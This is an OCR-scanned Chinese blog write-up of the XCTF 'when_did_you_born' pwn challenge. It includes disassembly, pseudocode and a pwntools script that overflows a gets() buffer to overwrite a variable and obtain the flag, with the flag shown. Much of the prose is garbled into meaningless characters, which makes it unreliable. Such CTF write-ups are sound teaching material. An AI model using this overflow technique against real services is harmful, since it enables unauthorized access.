when_did_you born [XCTF-PWN]CTF writeup & 1|3

3riC5r F 2019-12-19 20:12:39 K45 241 KR
3RERE: XCTF-PWN CTF XCEHRE:  xctfctfpwn
BRALE B . ASCATE R AL E, 88 CC 4.0 BY-SA BN, #H8RiEM EESCH B RmA S,

A SCEERE:  hitpsy/blog csdn.net/fastergohome/article/details/103620812
WA

(7
& s
8 XCTF-PWN it i 2 A% 1215

28 FRICE ST
IR T A

3.
46 F3CE 1T

TRER

AH k. when did you born

when_did_you_born S{EWriteupHI IR © Spwpunidst |

eEry: <5GG—_.
BER:

R REMEROERTEIR S lag, BRIBLKIMFICU T

B8 111.198.29.45:31605

IES7 3
EIiteT: 03:59:35 | Ry

B R

SR E— T RIS

root@mypwn: /ctf/work/python# checksec 24937e95ca4744818feebe82ab96902d
[*] '/ctf/work/python/24937e95ca4744818feebe82ab96902d"’

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
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Library function Jll Regular function | Instruction
[¥] Functions wind... © & &
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Function name

[F] _init_proc

[¥] sub_400680

[7] _puts

[F] __stack_chk_fail
[7] _setbuf

[7] _system

[#] _printf

[F] __libc_start_main
[7] _getchar

[7] _gets
[#] __isoc99_scanf

[¥] _gmon_start__
[7] start

[#] sub_400760
[¥] sub_4007E0
[7] sub_400800

| #] main

[#] _term_proc

[7] puts

[F] _stack_chk_fail
[7] setbuf

[7] system

[7] printf

[7] _libc_start_main
[7] getchar

[7] gets

[¥] _isoc99_scanf

Data

IDA - 24937e95ca4744818feebe82ab96902d /Users/mac126/pwn/p!

& @ of Fy# W X > 0O O

.text:0000000000400826 var 18
.text:0000000000400826 var_ 8

.text:0000000000400826
.text:0000000000400826
.text:0000000000400826
.text:0000000000400827
.text:000000000040082A
.text:000000000040082E
-text:0000000000400837
.text:000000000040083B
.text:000000000040083D
-text:0000000000400844
.text:0000000000400849
.text:000000000040084C
.text:0000000000400851
.text:0000000000400858
.text:000000000040085D
.text:0000000000400860
-text:0000000000400865
.text:000000000040086C
.text:0000000000400871
-text:0000000000400874
.text:0000000000400879
.text:000000000040087E
.text:0000000000400883
.text:0000000000400887
.text:000000000040088B
.text:000000000040088E
.text:0000000000400893
.text:0000000000400898
.text:000000000040089D
-text:000000000040089E
.text:000000000040089E
.text:000000000040089E
.text:00000000004008A3
.text:00000000004008A6
.text:00000000004008A8
.text:00000000004008AB
.text:00000000004008B0
.text:00000000004008B2
.text:00000000004008B7
-text:00000000004008BC
.text:00000000004008C1
.text:00000000004008C3
-text:00000000004008C3
.text:00000000004008C3
.text:00000000004008C3
.text:00000000004008C8
.text:00000000004008CD
.text:00000000004008D1
.text:00000000004008D4
-text:00000000004008D9
.text:00000000004008DE
.text:00000000004008E1
-text:00000000004008E3
.text:00000000004008E8
.text:00000000004008ED
.text:00000000004008F2
.text:00000000004008F5
.text:00000000004008FA
.text:00000000004008FC
.text:0000000000400901
.text:0000000000400906
.text:000000000040090B
-text:0000000000400910
.text:0000000000400915
.text:0000000000400917
.text:0000000000400917
.text:0000000000400917
.text:0000000000400917

Unexplored External symbol
IDA View-A Hex View-1 QA

= dword ptr -18h
= qword ptr -8

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, fs:28h
mov [rbptvar_8], rax
xor eax, eax
mov rax, cs:stdin
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stdout
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stderr
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov edi, offset s ; "What's Your Birth?"
call _puts
lea rax, [rbp+var 20]
add rax, 8
mov rsi, rax
mov edi, offset aD ; "&d"
mov eax, 0
call ___isoc99_scanf
nop

loc_40089E: ; CODE XREF: main+8047j
call _getchar
cmp eax, ORh
jnz short loc_40089E
mov eax, [rbptvar 18]
cmp eax, 786h
jnz short loc_4008C3
mov edi, offset aYouCannotBornI ; "You Cannot Born In 1926!"
call _puts
mov eax, 0
jmp short loc_400930

§ e

loc_4008C3: ; CODE XREF: main+8ATj
mov edi, offset aWhatSYourName ; "What's Your Name?"
call _puts
lea rax, [rbp+var_20]
mov rdi, rax
mov eax, 0
call _gets
mov eax, [rbpt+var_18]
mov esi, eax
mov edi, offset format ; "You Are Born In %d\n"
mov eax, 0
call _printf
mov eax, [rbp+var 18]
cmp eax, 786h
jnz short loc 400917
mov edi, offset aYouShallHaveFl ; "You Shall Have Flag.'
call _puts
mov edi, offset command ; "cat flag"”
mov eax,
call _system
jmp short loc_40092B

loc_400917: ; CODE XREF: main+D47Tj

mov edi, offset aYouAreNaive ; "You Are Naive."

Line 17 of 29

Output window

00000826 0000000000400826: main (Synchronized with Hex View-1)

FUNCT1ON argument 1NTOrmatlon nas Deen propagatea

The initial autoanalysis has been finished.

Python
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__inte4 _ fastcall main(__int64 al, char **a2, char **a3)
{

__int64 result; // rax

char v4; // [rsp+0h] [rbp-20h]

unsigned int v5; // [rsp+8h] [rbp-18h]

unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = _ readfsqword(0x28u);
setbuf(stdin, OLL);
setbuf(stdout, OLL);
setbuf(stderr, OLL);
puts("What's Your Birth?");
__iso0c99_scanf("%d", &v5);
while ( getchar() != 10 )
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = OLL;
}

else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = OLL;

}

return result;

ERE BB :

[ if ( v5 == 1926 ) |

{
puts(“fou Cannot Born In 1926!");
resulyt = OLL;

}

else

{

puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
[ if ( v5 == 1926 ) |
{
puts("You Shall Have Flag.");
system("cat flag");
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= s LSS S —c=s=oso=t —g:3-QyUUUUUUUUULULZY ; Frame size: 2ZU; Saved regs: 8; Purge: U
T -0000000000000020 ;
@ IDA View-A 0 PSEUdocg—OO00000000000020
0400826 ; Attributes: bp-based frame var 20 db ?
0400826 - db ? ; undefined
0400826 ; int  cdecl main(int, char **, char db ? ; undefined
0400826 main proc near db ? ; undefined
040082 db ? ; undefined
040082p var 20 = byte ptr -20h db ? ; undefined
040082p var_ 18 = dword ptr -18h db ? ; undefined
040082 - = gword ptr -8 db ? ; undefined
0400826 0000000000000018 var] 18 dd ?
0400826 ; _ unwind { V0012 ab 7 ; underine
0400826 push rbp -0000000000000013 db ? ; undefined
0400827 mov rbp, rsp -0000000000000012 db ? ; undefined
0400827 sub rsp, 20h -0000000000000011 db ? ; undefined
040082E mov rax, fs:28h |-0000000000000010 db ? ; undefined
0400837 mov [rbp+var_8], 1-000000000000000F db ? ; undefined
040083B xor eax, eax -000000000000000E db ? ; undefined
040083D mov rax, cs:stdin-000000000000000D db ? ; undefined
0400844 mov esi, 0 -000000000000000C db ? ; undefined
0400849 mov rdi, rax -000000000000000B db ? ; undefined
040084C call _setbuf -000000000000000A db ? ; undefined
0400851 mov rax, cs:stdoui-0000000000000009 db ? ; undefined
0400858 mov esi, 0 -0000000000000008 var_8 dq ?
040085D mov rdi, rax +0000000000000000 s db 8 dup(?)
0400860 call _setbuf +0000000000000008 r db 8 dup(?)
0400865 mov rax, cs:stderi+0000000000000010
040086C mov esi, 0 +0000000000000010 ; end of stack variables
0400871 mov rdi, rax

5 5T LA (rbp-18h) - (rbp-20N) = 8, ¥ 71X B 18hAI20h K 2 1634 4 «
%FE T IEHPATEFHE R

root@mypwn:/ctf/work/python# ./24937e95ca4744818feebe82ab96902d
What's Your Birth?

1925

What's Your Name?

xctf

You Are Born In 1925

You Are Naive.

You Speed One Second Here.

AR EATE KA Epayload

payload = 'A'*8 + p64(1926)

B8N F W RVAKIME, HEWMA 64 EHE1926, WMIELSVS
A AT K python A 10 T -

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./24937e95ca4744818feebe82ab96902d")
# p = remote("111.198.29.45", 31605)

payload = 'A'*8 + p64(1926)
p.sendlineafter('What\'s Your Birth?', '1925")

p.sendlineafter('What\'s Your Name?', payload)
p.interactive()



PATERWT -

root@mypwn:/ctf/work/python# python when_did_you_born.py
[+] Starting local process './24937e95ca4744818feebe82ab96902d': pid 94
[*] Switching to interactive mode

You Are Born In 1926

You Shall Have Flag.

cat: flag[*] Process './24937e95ca4744818feebe82ab96902d' stopped with exit code @ (pid 94)
: No such file or directory

[*] Got EOF while reading in interactive

$

AT, ABAflagXfr, Friidikesd, ERCL#H AT cat flaghiiiiiz
ETRBEONTERAT, SRWT:

root@mypwn:/ctf/work/python# python when_did_you_born.py
[+] Opening connection to 111.198.29.45 on port 31605: Done
[*] Switching to interactive mode

You Are Born In 1926
You Shall Have Flag.
cyberpeace{d941686b2efe84df967cladf72cb4549}

[*] Got EOF while reading in interactive

$

XEAT T T !
XEARA R R, HERERNEA BT LI RENRE, U umEesER.
2R F B AR S R gets R B S B AR B H
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